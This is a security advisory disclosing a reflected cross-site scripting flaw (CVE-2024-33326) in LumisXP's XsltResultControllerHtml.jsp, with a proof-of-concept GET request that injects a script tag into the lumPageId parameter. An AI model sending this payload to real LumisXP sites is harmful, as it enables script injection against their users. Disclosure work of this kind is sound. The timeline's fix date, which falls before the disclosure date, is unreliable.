LumisXP v15.0.x to v16.1.x

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Vulnerability
Information]=============================================
* Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
('Improper Neutralization of Input During Web Page Generation ('Cross-site
Scripting')') [CWE-79]

* CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N - 5.4

=====[ Overview]========================================================
* System affected : LumisXP
* Software Version : Version - v15.0.x to v16.1.x
* Impacts :
* Vulnerability: A cross-site scripting (XSS) vulnerability in the
component XsltResultControllerHtml.jsp of Lumisxp v15.0.x to v16.1.x allows
attackers to execute arbitrary web scripts or HTML via a crafted payload
injected into the lumPageID parameter

=====[ Detailed
description]=================================================
* XSS [GET
/portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=]:

1 - Send the link by inserting the XSS payload into the lumPageID=
parameter.

```
GET
/portal/XsltResultControllerHtml.jsp?xslContent=&interfaceInstanceId=&lumPageId=%3cscript%3econfirm(1)%3c%2fscript%3e&xslContentFilePath=
```
2 - Verify that in the response your payload will be executed.

=====[ Timeline of
disclosure]===============================================

2/Apr/2024 - Responsible disclosure was initiated with the vendor.
12/Apr/2024 - LumisXP Support confirmed the issue;
16/Fev/2024 - The vendor fixed the vulnerability
29/May/2024 - CVEs was assigned and reserved as CVE-2024-33326

=====[ Thanks & Acknowledgements]========================================
* Tempest Security Intelligence [1]
* Rodolfo Tavares
* Niklas Correa

=====[ References ]=====================================================

[1][ [https://cwe.mitre.org/data/definitions/79.html]
[2][ [https://www.tempest.com.br|https://www.tempest.com.br/]]
[3][Thanks Filipe X.]

=====[ EOF ]===========================================================
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